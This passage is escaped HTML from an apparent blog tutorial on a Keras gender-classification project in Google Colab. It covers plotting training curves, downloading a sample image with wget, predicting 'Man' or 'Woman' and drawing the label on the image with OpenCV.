&lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;plot(training&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;history[&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;accuracy&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;])&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;plot(training&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;history[&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;val_accuracy&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;])&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;title(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;model accuracy&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;ylabel(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;accuracy&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;xlabel(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;epoch&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;legend([&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;train&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;test&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;],&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;loc&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;upper left&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;show()&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;# summarize training for loss&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;plot(training&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;history[&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;loss&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;])&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;plot(training&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;history[&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;val_loss&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;])&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;title(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;model loss&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;ylabel(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;loss&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;xlabel(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;epoch&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;legend([&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;train&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;test&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;],&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;loc&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;upper left&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;show()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

            &lt;div class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;

&lt;pre&gt;&gt;&gt;&gt; dict_keys([&#39;loss&#39;, &#39;accuracy&#39;, &#39;val_loss&#39;, &#39;val_accuracy&#39;])&lt;/pre&gt;
            &lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEgNw8FpNaHzGLPjyfA4Efs4f_VHZjXgMTn5WPwrvsivKOYLUAJwHL3XGLuLmuo5qFGa3fLCrxjhLGM8CkjCgi42kyh6gzBuOFQfMJ3AiwDMLBGDHAka5C2NRlvP2dgym95agu6fTPE0Bah3y-dGqFS2mgquNstWMWMt0RKhOnf7BsZsdQMFP7DI4bWz=s386&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img title=&quot;Accuracy of our Model&quot; alt=&quot;Python Machine Learning Gender Detection Project Deep Learning Google Colab Project&quot; border=&quot;0&quot; width=&quot;400&quot; data-original-height=&quot;278&quot; data-original-width=&quot;386&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEgNw8FpNaHzGLPjyfA4Efs4f_VHZjXgMTn5WPwrvsivKOYLUAJwHL3XGLuLmuo5qFGa3fLCrxjhLGM8CkjCgi42kyh6gzBuOFQfMJ3AiwDMLBGDHAka5C2NRlvP2dgym95agu6fTPE0Bah3y-dGqFS2mgquNstWMWMt0RKhOnf7BsZsdQMFP7DI4bWz=s400&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEgAAdGF5GX7u1I1K3F2sGuomxGoUnAAj3wG-OTuB_1kSvducJGdrJf3F3m9jUEUgYag0pjkG9XX0xK0xeycHjGNQakmyjlrn4IRuhUkoF1c8PdrS9H7Jp8p8u7NR3gOdB2-5KRnD2anisahNXE2AZEsJWuxldioDjrR9tV2HW2SGiRpDNTTB6mEPDEj=s382&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img title=&quot;Least Accurate of our Model&quot; alt=&quot;Python Machine Learning Gender Detection Project Deep Learning Google Colab Project&quot; border=&quot;0&quot; width=&quot;400&quot; data-original-height=&quot;278&quot; data-original-width=&quot;382&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEgAAdGF5GX7u1I1K3F2sGuomxGoUnAAj3wG-OTuB_1kSvducJGdrJf3F3m9jUEUgYag0pjkG9XX0xK0xeycHjGNQakmyjlrn4IRuhUkoF1c8PdrS9H7Jp8p8u7NR3gOdB2-5KRnD2anisahNXE2AZEsJWuxldioDjrR9tV2HW2SGiRpDNTTB6mEPDEj=s400&quot;/&gt;&lt;/a&gt;&lt;/div&gt;
            &lt;/div&gt;
          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;download-your-own-image&quot;&gt;
          &lt;h2&gt;♀♂ Run 13 - Download Your Own Image&lt;/h2&gt;
            &lt;p&gt;Download Your Own Image and renaming it as image2.jpg&lt;/p&gt;
            &lt;div class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;&lt;strong&gt;!wget&lt;/strong&gt; &quot;YOUR IMAGE URL&quot; &lt;strong&gt;-O&lt;/strong&gt; &quot;image2.jpg&quot;&lt;/div&gt;
              
            &lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #960050; background-color: #1e0010&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;wget&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;https://www.ihnice.com/media-picture/221-400-600-Students%20030rszd.jpg&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;O&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;image2.jpg&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

            
            
          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;view-image-in-100x100&quot;&gt;
          &lt;h2&gt;♀♂ Run 14 - View Image In 100X100&lt;/h2&gt;
            &lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #75715e&quot;&gt;#View Image&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;IPython.display&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Image&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;Image(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;image2.jpg&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,width&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,height&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

            &lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjCHRNWqbsnlALRFIAaqz9kWlZZI9iYsiDWvR_mG6kv-JHHEsQMChQG3HARuCwnsdWNv_wNbjK5kHtUD-6N2KXTrMhCOi7d-JpQBrZKvZLzlW7fya7cxtCZBx7RJESE5IiOW4PTUpGWOcUPdb_4UDDUt4qpushMxf7NvqXT_17zMvaVgGSV6QaByQ2m=s112&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img title=&quot;View Image in 100x100&quot; alt=&quot;Python Machine Learning Gender Detection Project Deep Learning Google Colab Project&quot; border=&quot;0&quot; width=&quot;100&quot; height=&quot;100&quot; data-original-height=&quot;100&quot; data-original-width=&quot;100&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjCHRNWqbsnlALRFIAaqz9kWlZZI9iYsiDWvR_mG6kv-JHHEsQMChQG3HARuCwnsdWNv_wNbjK5kHtUD-6N2KXTrMhCOi7d-JpQBrZKvZLzlW7fya7cxtCZBx7RJESE5IiOW4PTUpGWOcUPdb_4UDDUt4qpushMxf7NvqXT_17zMvaVgGSV6QaByQ2m=s400&quot;/&gt;&lt;/a&gt;&lt;/div&gt;
          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;detect-if-our-image-is-of-a-man-or-woman&quot;&gt;
          &lt;h2&gt;♀♂ Run 15 - Detect If Our Image Is Of A Man Or Woman&lt;/h2&gt;
            &lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #f92672&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tensorflow.keras.preprocessing&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;image&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;google.colab.patches&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;cv2_imshow&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;numpy&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;np&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;img_path&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;/content/image2.jpg&amp;quot;&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;img_pred&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;image&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;load_img(img_path,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;target_size&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;150&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;150&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;))&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;img_pred&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;image&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;img_to_array(img_pred)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;img_pred&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;np&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;expand_dims(img_pred,axis&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;rslt&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;model1&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;predict(img_pred)&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(rslt)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;prediction&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot; &amp;quot;&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;rslt[&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
  &lt;span style=&quot;color: #f8f8f2&quot;&gt;prediction&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Woman&amp;quot;&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
  &lt;span style=&quot;color: #f8f8f2&quot;&gt;prediction&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Man&amp;quot;&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;Prediction: &amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;prediction)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

            &lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;

&gt;&gt;&gt; [[1.]]
Prediction:  Woman

&lt;/pre&gt;


          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;plotting-gender-data-on-your-image&quot;&gt;
          &lt;h2&gt;♀♂ Run 16 - Plotting Gender Data On Your Image&lt;/h2&gt;
            &lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;cv2&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;img_path&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;/content/image2.jpg&amp;quot;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;image&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;cv2&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;imread(img_path)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;window_name&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;Image&amp;#39;&lt;/span&gt;

&lt;span style=&quot;color: #75715e&quot;&gt;# Font style&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;font&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;cv2&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;FONT_HERSHEY_SIMPLEX&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;org&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;30&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;150&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;fontScale&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;3&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;color&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;thickness&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;10&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;image&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;cv2&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;putText(image,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;prediction,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;org,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;font,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;fontScale,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;color,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;thickness,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;cv2&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;LINE_AA)&lt;/span&gt;

&lt;span style=&quot;color: #f92672&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;google.colab.patches&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;cv2_imshow&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;#cv2_imshow(image) #Full Size&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;cv2_imshow(cv2&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;resize(image,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;200&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;300&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)))&lt;/span&gt; &lt;span style=&quot;color: #75715e&quot;&gt;#Resize&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEice-fitjigtvXnTxS1OGeD3zLBmZqBuQkKCvF8ixZ1MXhh2KgBuTpndOuggjsnYRlG8JxC6v-n0PgPxgkRNIBQdIsnL7fTVCheTvhgY7SylCNU0tAMdk2E9I579wqx_gOmNYxRrnXIBzQ0Qhc6V9SIErCaTTyfcSFXpHu8wrW7uRBjHjnzy1LXISdP=s300&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img title=&quot;Women&quot; alt=&quot;Python Machine Learning Gender Detection Project Deep Learning Google Colab Project&quot; border=&quot;0&quot; height=&quot;400&quot; data-original-height=&quot;300&quot; data-original-width=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEice-fitjigtvXnTxS1OGeD3zLBmZqBuQkKCvF8ixZ1MXhh2KgBuTpndOuggjsnYRlG8JxC6v-n0PgPxgkRNIBQdIsnL7fTVCheTvhgY7SylCNU0tAMdk2E9I579wqx_gOmNYxRrnXIBzQ0Qhc6V9SIErCaTTyfcSFXpHu8wrW7uRBjHjnzy1LXISdP=s400&quot;/&gt;&lt;/a&gt;&lt;/div&gt;
            &lt;div class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
            &lt;strong&gt;And Finally you get a love reply with an output saying Its a Women&lt;/strong&gt;
              &lt;/div&gt;
          &lt;/section&gt;

&lt;div class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
&lt;br /&gt;&lt;b&gt;:::Dev Info:::&lt;/b&gt;&lt;br /&gt;
&lt;p&gt;&lt;b&gt;My Name:-&lt;/b&gt; Joel D&#39;costa&lt;br /&gt;
  &lt;b&gt;Git:-&lt;/b&gt; &lt;a href=&quot;https://github.com/joeldcosta/Gender_Detection-&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Gender_Detection♀♂&lt;/a&gt;&lt;br /&gt;
  &lt;b&gt;Google Colab:-&lt;/b&gt; &lt;input type=&quot;image&quot; onclick=&quot;window.open(&#39;https://colab.research.google.com/github/joeldcosta/Gender_Detection-/blob/main/Gender_Detection%E2%99%80%E2%99%82.ipynb&#39;,&#39;_blank&#39;)&quot; src=&quot;https://colab.research.google.com/assets/colab-badge.svg&quot; /&gt;
  &lt;/p&gt;&lt;br /&gt;
